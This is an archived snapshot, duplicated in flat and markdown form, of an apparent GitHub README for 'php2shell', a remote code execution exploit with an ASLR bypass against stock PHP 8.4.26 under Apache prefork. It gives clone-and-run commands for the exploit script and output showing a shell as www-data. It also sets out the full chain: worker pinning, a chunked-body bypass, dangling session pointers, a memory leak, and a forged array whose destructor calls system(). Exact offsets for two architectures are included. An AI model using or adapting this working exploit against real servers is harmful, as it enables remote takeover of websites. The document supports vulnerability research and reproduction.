[CVE-2026-109618] php2shell: Pure HTTP Full-Chain RCE and ASLR Bypass on Stock PHP 8.4 Configurations
Summary
Why it matters
- CVE
- CVE-2026-109618
- Vendor
- PHP
- Product
- PHP
- Affected versions
- 8.4.26
- CVSS
- 9.8
- Published
- Collected
📦 Full-Text Content Snapshot
R2 Archive · Full Article PreservedAuthor: 9bie · October 22, 2026 · Source: github.com/9bie/php2shell-bypass-aslr-exp
Under the official prefork configuration (MaxRequestWorkers=150), fully remote, using pure HTTP only, where the target page contains only <?php echo "OK\n"; ?> and without writing any target-side PHP code, achieve full-chain RCE in a single command:
- Stock official Docker image + official
php.ini+ official workers: 10/10 - Single-worker baseline (early calibration / debugging): 20/20
- ~3–4 seconds per run (including 149 placeholder connections); the pinned worker does not restart, and the target
php.iniis unmodified.
Universal Exploitation
In theory, as long as you pre-calculate the offsets across all PHP versions and batch-fuzz using those offsets, one of the fuzzing attempts will land RCE. Even if a worker crashes, Apache will automatically respawn it, so there is no risk of taking down the target service.
Regarding workers: the official prefork MaxRequestWorkers=150 is fully supported. The exploit script first occupies 149 workers with incomplete requests, pinning steps A1/B1/A2/B2 onto the single remaining child worker; single-worker mode was only an early debugging setup (--workers 1 is still supported for reproduction).
Quick Start (Official php.ini-production / display_errors=Off / 128M)
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) Start target: stock official image; container only copies official php.ini-production to php.ini
./pure/run_pure.sh
# target: OK
# architecture: x86_64 (run exploit with --arch x86_64)
# PHP 8.4.26 ...
# display_errors => Off => Off
# memory_limit => 128M => 128M
# workers: official (run exploit with --workers 150)
# 2) Single command: A1 -> B1 leak -> A2 -> B2 -> id
python3 exploit.py --port 18110
# --arch auto (default): auto-detects x86_64 / aarch64
# pinned 150/150 workers (149 holders)
# [try 1] A1: END-cleanup send_cookie OOM
# [try 1] B1: stale-id OOB read (chunk base + libphp)
# arch=x86_64 decoded=819208 zval_ptr_dtor=0x7fe00ef5db60 -> libphp=0x7fe00e8ff000
# chunk buckets: [('0x7fe00c600000', 7495), ('0x7fe00ee00000', 1095),
# ('0x7fe00cc00000', 87), ('0x7fe00c400000', 79)]
# [try 1] A2 + B2: main=0x7fe00cc00000 S=0x7fe00ccf8398 zif_system=0x7fe00ed64370
# [4/4] RCE OK; proof .../out/p1:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)No compiling PHP/Apache, no building custom Docker images, no attaching gdb, and no modifying the target php.ini. pure/run_pure.sh defaults to container p2s-pure-18110 on port 18110, using the official prefork configuration (MaxRequestWorkers=150), and prints the actual architecture, ini settings, and MPM values upon startup. Only --single mounts the non-official single-worker override pure/docker/apache-single-worker.conf (used with --workers 1). docker/apache.conf is kept only as a compatibility symlink for the legacy harness pointing to the same file. On Linux without docker group permissions, the script automatically falls back to sudo docker, or you can explicitly run DOCKER="sudo docker" ./pure/run_pure.sh; --dbg is only used to swap in the symbol-enabled build for offline offset calibration.
Common options:
# Re-test with fresh ASLR (restart container)
python3 exploit.py --port 18110 --restart p2s-pure-18110
# Official worker count is default; use --workers 1 for single-worker target started with --single
python3 exploit.py --port 18110 --workers 1
# ARM64 can also be specified explicitly (default --arch auto detects automatically)
python3 exploit.py --arch aarch64 --port 18110 --workers 1
# Custom command: write script into mounted directory and execute with sh
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py --port 18110 --cmd 'sh</out/c'--retries defaults to 3; if the most frequent pointer in the out-of-bounds leak window on a given attempt is not zval_ptr_dtor, the script discards the leak using a sanity range check on libphp-main and retries the entire chain.
How the Pure HTTP Chain Works
The target page only has <?php echo "OK\n"; ?>, and the attack traffic consists solely of chunked multipart/form-data and standard GET/POST requests:
- Worker pinning: Official
MaxRequestWorkers=150; the script first opens 149 POST connections that send only half of their body to occupy the other children, forcing A1/B1/A2/B2 onto the single remaining child worker so cross-request dangling pointers stay valid. - Chunked bypass of
post_max_size: Without aContent-Lengthheader,content_length=0, skipping the check at the beginning ofrfc1867_post_handlerand allowing a request body far larger than 8M for heap feng shui. - A1: 860 depth-64 nested file fields + filler + large values + a 4000B
PHP_SESSION_UPLOAD_PROGRESStrigger OOM insidephp_url_encodeduring END cleanup; the bailout leaves danglingPS(id)/PS(mod_data)pointers withsend_cookie=1. - B1 (Out-of-Bounds Read): After a safe close,
PS(id)points to a forgedzend_stringheader (len=0xC8000,datacontaining/), causingSet-Cookieto URL-encode and leak 800KB of memory following theidchunk. The leak window simultaneously contains:
- 2MiB-aligned chunk pointer clusters →
idchunk /mainchunk base; - The hole left at the tail of the
idchunk byG:400is filled with 900 nested array fields, where realHashTableinstances havepDestructor = zval_ptr_dtorappearing 1095 times →libphp = value - 0x65EB60.
- A2 + B2: A cheap-OOM points
PS(hash_serialize_verifier)onto the heap (main+0x7D720); B2 overwrites it using a 384B reference value with azvalpointing toS=main+0xF8398, whereSholds a forgedzend_arraywithpDestructor = zif_system(libphp+0x465370). During request shutdown,zend_hash_destroyinvokessystem("id>/out/p1").
Offsets (for this build, independent of ASLR):
| Symbol / Location | x86_64 | aarch64 |
|---|---|---|
Leaked zval_ptr_dtor pointer | libphp+0x65EB60 | libphp+0x63812B |
zif_system | libphp+0x465370 | libphp+0x42CD70 |
Fake array S | main+0xF8398 | main+0xF8398 |
A2 hsv | main+0x7D720 | main+0x7D720 |
On aarch64, the zval_ptr_dtor ELF symbol is at 0x638120, but the pointer repeatedly appearing in this leak points 11 bytes past it, so the profile subtracts 0x63812B. Target environment: Debian 13 (trixie), Apache 2.4.69 prefork, PHP 8.4.26 NTS mod_php, files session handler. Changing the PHP build or version requires re-calibrating offsets; ASLR changes on every container startup and is resolved dynamically by the two leaks in the chain.
Evidence
- Mechanism & calibration:
pure/RESEARCH_PURE_128M.md - Full-chain script:
exploit.py(pure/pwn_pure.pykept as an alias) - Debug image batch log:
pure/evidence/pwn_pure_batch_20261022.log - Official image log:
pure/evidence/pwn_pure_official_20261022.log - Official worker log:
pure/evidence/official_workers_20261022.log - Native ARM64 official image log (10/10 fresh containers):
pure/evidence/arm64_stock_20261023.log - Native ARM64 official worker log (3/3 fresh containers):
pure/evidence/arm64_official_workers_20261023.log - Proof output:
pure/evidence/pwn_pure_proof_p1.txt
Legacy Track (Non-Default Configuration)
The exploit.py in earlier commits targeted a custom docker/php.ini (display_errors=On, memory_limit=8M, max_input_vars=1000), which is unrelated to the stock production target in this README and has been archived to archive/legacy-8m/exploit.py. HTTP_HEAP_LEAK.md and ASLR_PURE_HTTP.md in the same directory document that legacy track; the old docker/php.ini, docker/docker-compose.yml, docker/offsets.py, and lab/apache2_aslr.conf have also been archived under archive/legacy-8m/docker|lab/. The actual single-worker config and target page live in pure/docker/ (apache-single-worker.conf, www/index.php); docker/ only retains the apache.conf and www compatibility symlinks pointing there.
Reproduction Disclaimer
- The target configuration is the stock official
php.ini-production(display_errors=Off,memory_limit=128M) and official prefork worker settings (MaxRequestWorkers=150): no customini, nodisplay_errors=Onrequirement, no target-side files, nosession_start()in application code, and nogdbin the delivery path. - For authorized vulnerability research and reproduction only.
📦 Full-Text Markdown Snapshot archived by Phying News · Original source: github.com
---
id: 10296
title: "php2shell: Pure HTTP Full-Chain RCE and ASLR Bypass on Stock PHP 8.4 Configurations"
cve: CVE-2026-109618
cvss: 9.8
severity: unknown
vendor: PHP
product: PHP
affected_versions: "8.4.26"
source_domain: github.com
source_url: "https://github.com/9bie/php2shell-bypass-aslr-exp"
published_at: "2026-10-22T10:36:16Z"
snapshot_at: "2026-10-26T03:06:00Z"
archived_by: "Phying News (https://phying.com/item/10296)"
lang: en
---
# php2shell - Stock Official Environment (No `display_errors`, Unmodified `memory_limit`)
*Author: [9bie](https://github.com/9bie) · October 22, 2026 · Source: [github.com/9bie/php2shell-bypass-aslr-exp](https://github.com/9bie/php2shell-bypass-aslr-exp)*
[中文](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/README.md) | [English](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/readme_en.md) | [日本語](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/readme_ja.md)
Under the **official prefork configuration (`MaxRequestWorkers=150`)**, fully remote, using pure HTTP only, where the target page contains only `<?php echo "OK\n"; ?>` and without writing any target-side PHP code, achieve full-chain RCE in a single command:
- Stock official Docker image + official `php.ini` + official workers: **10/10**
- Single-worker baseline (early calibration / debugging): **20/20**
- ~3–4 seconds per run (including 149 placeholder connections); the pinned worker does not restart, and the target `php.ini` is unmodified.
## Universal Exploitation
In theory, as long as you pre-calculate the offsets across all PHP versions and batch-fuzz using those offsets, one of the fuzzing attempts will land RCE. Even if a worker crashes, Apache will automatically respawn it, so there is no risk of taking down the target service.
Regarding workers: the official prefork `MaxRequestWorkers=150` is fully supported. The exploit script first occupies 149 workers with incomplete requests, pinning steps A1/B1/A2/B2 onto the single remaining child worker; single-worker mode was only an early debugging setup (`--workers 1` is still supported for reproduction).
## Quick Start (Official `php.ini-production` / `display_errors=Off` / `128M`)
```bash
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) Start target: stock official image; container only copies official php.ini-production to php.ini
./pure/run_pure.sh
# target: OK
# architecture: x86_64 (run exploit with --arch x86_64)
# PHP 8.4.26 ...
# display_errors => Off => Off
# memory_limit => 128M => 128M
# workers: official (run exploit with --workers 150)
# 2) Single command: A1 -> B1 leak -> A2 -> B2 -> id
python3 exploit.py --port 18110
# --arch auto (default): auto-detects x86_64 / aarch64
# pinned 150/150 workers (149 holders)
# [try 1] A1: END-cleanup send_cookie OOM
# [try 1] B1: stale-id OOB read (chunk base + libphp)
# arch=x86_64 decoded=819208 zval_ptr_dtor=0x7fe00ef5db60 -> libphp=0x7fe00e8ff000
# chunk buckets: [('0x7fe00c600000', 7495), ('0x7fe00ee00000', 1095),
# ('0x7fe00cc00000', 87), ('0x7fe00c400000', 79)]
# [try 1] A2 + B2: main=0x7fe00cc00000 S=0x7fe00ccf8398 zif_system=0x7fe00ed64370
# [4/4] RCE OK; proof .../out/p1:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
No compiling PHP/Apache, no building custom Docker images, no attaching `gdb`, and no modifying the target `php.ini`.
`pure/run_pure.sh` defaults to container `p2s-pure-18110` on port `18110`, using the official prefork configuration (`MaxRequestWorkers=150`), and prints the actual architecture, `ini` settings, and MPM values upon startup. Only `--single` mounts the non-official single-worker override `pure/docker/apache-single-worker.conf` (used with `--workers 1`). `docker/apache.conf` is kept only as a compatibility symlink for the legacy harness pointing to the same file.
On Linux without `docker` group permissions, the script automatically falls back to `sudo docker`, or you can explicitly run `DOCKER="sudo docker" ./pure/run_pure.sh`; `--dbg` is only used to swap in the symbol-enabled build for offline offset calibration.
Common options:
```bash
# Re-test with fresh ASLR (restart container)
python3 exploit.py --port 18110 --restart p2s-pure-18110
# Official worker count is default; use --workers 1 for single-worker target started with --single
python3 exploit.py --port 18110 --workers 1
# ARM64 can also be specified explicitly (default --arch auto detects automatically)
python3 exploit.py --arch aarch64 --port 18110 --workers 1
# Custom command: write script into mounted directory and execute with sh
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py --port 18110 --cmd 'sh</out/c'
```
`--retries` defaults to 3; if the most frequent pointer in the out-of-bounds leak window on a given attempt is not `zval_ptr_dtor`, the script discards the leak using a sanity range check on `libphp-main` and retries the entire chain.
## How the Pure HTTP Chain Works
The target page only has `<?php echo "OK\n"; ?>`, and the attack traffic consists solely of chunked `multipart/form-data` and standard GET/POST requests:
0. **Worker pinning**: Official `MaxRequestWorkers=150`; the script first opens 149 POST connections that send only half of their body to occupy the other children, forcing A1/B1/A2/B2 onto the single remaining child worker so cross-request dangling pointers stay valid.
1. **Chunked bypass of `post_max_size`**: Without a `Content-Length` header, `content_length=0`, skipping the check at the beginning of `rfc1867_post_handler` and allowing a request body far larger than 8M for heap feng shui.
2. **A1**: 860 depth-64 nested file fields + filler + large values + a 4000B `PHP_SESSION_UPLOAD_PROGRESS` trigger OOM inside `php_url_encode` during END cleanup; the bailout leaves dangling `PS(id)` / `PS(mod_data)` pointers with `send_cookie=1`.
3. **B1 (Out-of-Bounds Read)**: After a safe close, `PS(id)` points to a forged `zend_string` header (`len=0xC8000`, `data` containing `/`), causing `Set-Cookie` to URL-encode and leak 800KB of memory following the `id` chunk. The leak window simultaneously contains:
- 2MiB-aligned chunk pointer clusters → `id` chunk / `main` chunk base;
- The hole left at the tail of the `id` chunk by `G:400` is filled with 900 nested array fields, where real `HashTable` instances have `pDestructor = zval_ptr_dtor` appearing 1095 times → `libphp = value - 0x65EB60`.
4. **A2 + B2**: A cheap-OOM points `PS(hash_serialize_verifier)` onto the heap (`main+0x7D720`); B2 overwrites it using a 384B reference value with a `zval` pointing to `S=main+0xF8398`, where `S` holds a forged `zend_array` with `pDestructor = zif_system` (`libphp+0x465370`). During request shutdown, `zend_hash_destroy` invokes `system("id>/out/p1")`.
Offsets (for this build, independent of ASLR):
| Symbol / Location | x86_64 | aarch64 |
|---|---|---|
| Leaked `zval_ptr_dtor` pointer | `libphp+0x65EB60` | `libphp+0x63812B` |
| `zif_system` | `libphp+0x465370` | `libphp+0x42CD70` |
| Fake array `S` | `main+0xF8398` | `main+0xF8398` |
| A2 `hsv` | `main+0x7D720` | `main+0x7D720` |
On `aarch64`, the `zval_ptr_dtor` ELF symbol is at `0x638120`, but the pointer repeatedly appearing in this leak points 11 bytes past it, so the profile subtracts `0x63812B`.
Target environment: Debian 13 (trixie), Apache 2.4.69 prefork, PHP 8.4.26 NTS `mod_php`, `files` session handler. Changing the PHP build or version requires re-calibrating offsets; ASLR changes on every container startup and is resolved dynamically by the two leaks in the chain.
## Evidence
- Mechanism & calibration: [`pure/RESEARCH_PURE_128M.md`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/RESEARCH_PURE_128M.md)
- Full-chain script: [`exploit.py`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/exploit.py) (`pure/pwn_pure.py` kept as an alias)
- Debug image batch log: [`pure/evidence/pwn_pure_batch_20261022.log`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/pwn_pure_batch_20261022.log)
- Official image log: [`pure/evidence/pwn_pure_official_20261022.log`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/pwn_pure_official_20261022.log)
- Official worker log: [`pure/evidence/official_workers_20261022.log`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/official_workers_20261022.log)
- Native ARM64 official image log (10/10 fresh containers): [`pure/evidence/arm64_stock_20261023.log`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/arm64_stock_20261023.log)
- Native ARM64 official worker log (3/3 fresh containers): [`pure/evidence/arm64_official_workers_20261023.log`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/arm64_official_workers_20261023.log)
- Proof output: [`pure/evidence/pwn_pure_proof_p1.txt`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/pwn_pure_proof_p1.txt)
## Legacy Track (Non-Default Configuration)
The `exploit.py` in earlier commits targeted a **custom** `docker/php.ini` (`display_errors=On`, `memory_limit=8M`, `max_input_vars=1000`), which is unrelated to the stock production target in this README and has been archived to [`archive/legacy-8m/exploit.py`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/archive/legacy-8m/exploit.py).
[`HTTP_HEAP_LEAK.md`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/archive/legacy-8m/HTTP_HEAP_LEAK.md) and [`ASLR_PURE_HTTP.md`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/archive/legacy-8m/ASLR_PURE_HTTP.md) in the same directory document that legacy track; the old `docker/php.ini`, `docker/docker-compose.yml`, `docker/offsets.py`, and `lab/apache2_aslr.conf` have also been archived under `archive/legacy-8m/docker|lab/`.
The actual single-worker config and target page live in `pure/docker/` (`apache-single-worker.conf`, `www/index.php`); `docker/` only retains the `apache.conf` and `www` compatibility symlinks pointing there.
## Reproduction Disclaimer
- The target configuration is the stock official `php.ini-production` (`display_errors=Off`, `memory_limit=128M`) and official prefork worker settings (`MaxRequestWorkers=150`): no custom `ini`, no `display_errors=On` requirement, no target-side files, no `session_start()` in application code, and no `gdb` in the delivery path.
- For authorized vulnerability research and reproduction only.
---
> 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/10296) · Original source: [github.com](https://github.com/9bie/php2shell-bypass-aslr-exp)